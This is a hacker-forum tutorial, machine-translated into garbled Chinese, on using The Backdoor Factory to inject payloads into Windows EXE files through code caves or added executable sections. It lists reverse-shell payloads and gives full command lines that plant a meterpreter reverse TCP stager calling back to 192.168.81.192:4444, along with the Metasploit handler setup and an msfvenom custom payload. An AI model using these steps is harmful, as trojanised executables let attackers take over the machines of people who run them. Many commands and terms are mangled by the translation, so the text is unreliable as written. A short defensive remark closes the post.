跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

0x00 前言

后门工厂可以用来在可执行文件中植入后门,修改程序执行过程,执行添加的负载。

本文将介绍将后门嵌入EXE文件的原理,测试将后门嵌入后门工厂的方法,分析细节,总结思路。

后门工厂下载地址:

https://github.com/secretsquirrel/the-backdoor-factory

0x01 简介

本文将介绍以下内容:

EXE文件后门植入原理

测试后门工厂。

分析后门工厂的功能

0x02 基础知识

PE文件格式:

参考资料:

https://en . wikibooks . org/wiki/X86 _ Disassembly/Windows _ Executable _ Files

Code Caves:

参考资料:

Codecaves初学者指南

Code Caves的直观认识:

使用vc6.0生成exe文件,并检查文件中可用的代码洞穴。

c代码:

#include 'stdafx.h '

#包括

#包括

int array[200]={1,2,3,4,5,6,7,8,9 };

char array 2[200]=' 123456789 abcdef ';

int main(int argc,char* argv[])

{

printf(' hello world ');

返回0;

}

编译生成的发布文件,用免疫调试器打开。

视图-内存(快捷键Alt M)

如下图

0-1.png

hello.exe包含四个部分,即PE报头。文本,rdata和。数据。

检查一下。hello.exe的数据部分。

如下图

0-2.png

找到一大段0x00数据,这些位置可以用有效载荷替换。

0x03 文件后门植入原理

植入原理

修改程序的执行流程,跳转到代码洞穴,执行payload,然后返回程序的正常流程。

请注意,默认情况下,只有。文本段有执行权限。如果有效载荷被添加到其他段(例如数据或。rdata),这个段需要添加执行权限。

注:

实际上,有效载荷可以通过跳跃多个代码洞穴来拼凑。

利用思路

1、新加区段,权限为可读可写可执行(RWE)

可以使用工具LordPE。

手动添加参考材料:

https://www.exploit-db.com/docs/42061.pdf

优点:

简单,不用考虑文件代码洞穴的大小。

缺点:

增加文件长度

2、使用Code Caves

搜索现有的部分,看看是否有可用的代码洞穴。对于不可执行的部分,您需要添加可执行权限。

优点:

不要更改文件大小

缺点:

需要考虑码洞大小是否满足有效载荷长度。

0x04 实际测试The Backdoor Factory

Kali 2.0默认集成了后门工厂,路径是usr/share/backdoor-factory。

测试系统是Kali 2.0。

为了便于测试,test exe代码如下:

#包括

#包括

int array[200]={1,2,3,4,5,6,7,8,9 };

char array 2[200]=' 123456789 abcdef ';

int main(int argc,char* argv[])

{

printf(' hello world \ n ');

系统(“暂停”);

返回0;

}

程序输出hello world后暂停。

以下是后门工厂的一些常用功能。

1、检查该文件是否适用于The Backdoor Factory

。/backdoor . py-f test.exe-S

输出如下所示:

[*]检查是否支持二进制

[*]正在收集文件信息

[*]读取win32条目指令

test.exe是支持的。

2、获取该文件的可用payload

。/back door . py-f test.exe-s秀

输出下图

0-3.png

可用有效载荷如下:

洞穴_矿工_内联

iat_reverse_tcp_inline

IAT _ reverse _ TCP _ inline _ threaded

IAT _ reverse _ TCP _ stager _ threaded

IAT _ user _ supplied _ shell code _ threaded

meter preter _ reverse _ https _ threaded

反向_外壳_ tcp _内嵌

反向tcp阶段线程

用户提供的外壳代码线程

名称解析:

cave_miner_inline:

作为有效载荷模板,长度为135,只实现控制过程跳转,不做其他操作。它可以用作外壳代码自定义开发的模板。

分解后的有效载荷的格式如下

0-4.png

reverse_shell_tcp_inline:

对应的抄表服务器:

使用漏洞利用/多重/处理程序

设置有效负载窗口/meterpreter/reverse_tcp

meterpreter_reverse_https_threaded:

对应的抄表服务器:

使用漏洞利用/多重/处理程序

设置有效负载窗口/meterpreter/reverse_https

iat_reverse_tcp_inline中的iat:

Iat是导入地址表的缩写。如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,那么直接执行payload reverse _ shell _ TCP _ inline将会失败。iat_reverse_tcp_inline增加了修复iat的功能,避免执行失败。

user_supplied_shellcode_threaded:

用户定义的有效负载,可以由msf生成。

3、搜索该文件可用的Code Caves

。/backdoor . py-f test.exe-c

如果净荷长度为703,那么Code Caves需要满足长度大于703的要求,参数如下:/back door . py-f test.exe-c-l 703

输出下图

0-5.png

总共找到三个可用位置:

没有部分

-从洞穴0x240开始

-洞穴0x1000的尽头

洞穴的大小(int) 3520

**************************************************

没有部分

-开始洞穴0x693a

-洞穴0x700c的尽头

洞穴大小(室内)1746

**************************************************

我们有一个赢家:数据

-从0x7051号洞穴开始

-洞穴0x7350的尽头

洞穴的大小(室内)767

SizeOfRawData0x1000

指针原始数据0x7000

原始数据结尾:0x8000

的输出地址是相对虚拟地址,即相对于文件头的偏移地址(基址映像基)。

内存中实际地址(虚拟地址)=基于映像的RVA

ImageBase=0x00400000

使用免疫调试器查看并验证内存结构。

存储器结构如下

0-6.png

(1)

没有部分

-从洞穴0x240开始

-洞穴0x1000的尽头

洞穴的大小(int) 3520

内存中的实际地址是0x00400240-0x00401000,位于PE头,默认权限是r。

按如下方式检查存储器地址数据

0-7.png

(2)

没有部分

-开始洞穴0x693a

-洞穴0x700c的尽头

洞穴大小(室内)1746

存储器中的实际地址是0x0040693a-0x0040700c,位于中。rdata段,默认权限是r。

按如下方式检查存储器地址数据

0-8.png

(3)

我们有一个赢家:数据

-从0x7051号洞穴开始

-洞穴0x7350的尽头

洞穴的大小(室内)767

存储器中的实际地址是0x00407051-0x00407350,位于中。数据段,默认权限是RW。

按如下方式检查存储器地址数据

0-9.png

可以看出,通过后门工厂找到的代码洞穴都符合要求。

4、添加payload

这里选择reverse_tcp_stager_threaded进行测试,有效载荷长度为703。

服务器:

使用漏洞利用/多重/处理程序

设置有效负载窗口/meterpreter/reverse_tcp

(1) 添加新区段,保存payload

。/back door . py-f test.exe-H 192 . 168 . 81 . 192-P 4444-s反向_ TCP _ stager _ threaded-a-o test1.exe

新部分的名称是。数据和许可是RWE。

如下图

1-1.png

如果新添加的段名是aaa,参数如下:/back door . py-f test.exe-H 192 . 168 . 81 . 192-P 4444-s反向_ TCP _ stager _ threaded-a-n AAA-o test1.exe

(2) payload保存到.data段中

。/back door . py-f test.exe-H 192 . 168 . 81 . 192-P 4444-s反向_ TCP _ stager _ threaded-o test2.exe

选择。数据段显示提示。

的许可。数据段更改为RWE,如下图所示

1-2.png

程序入口点添加跳转代码JMP TEST2.00407055,0x00407055保存添加的有效载荷。

如下图

1-3.png

(3) payload保存到其他段中

。/back door . py-f test.exe-H 192 . 168 . 81 . 192-P 4444-s反向_ TCP _ stager _ threaded-o test3.exe

根据提示选择PE表头,如下图所示

1-4.png

执行将报告一个错误,这个错误需要修复。

您可以使用工具nasm_shell将汇编代码转换为十六进制数据。

Kali2.0默认集成了nasm_shell。

使用如下所示的工具。

1-5.png

(4) 自定义payload

生成有效负载:

MSF venom-p windows/messagebox-f raw msg . bin

添加有效负载:/back door . py-f test.exe-s用户提供_外壳代码_线程化-U消息. bin-o test4.exe

测试下图

1-6.png

0x05 小结

介绍了利用后门工厂将后门植入EXE文件的方法,利用代码洞穴不能改变原文件的大小。

当然这种方法已经被杀毒软件干掉了,本文介绍的内容仅供技术研究。

从防御的角度来说,下载文件时需要多加注意,只下载可信来源的程序,同时mcrc hash。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。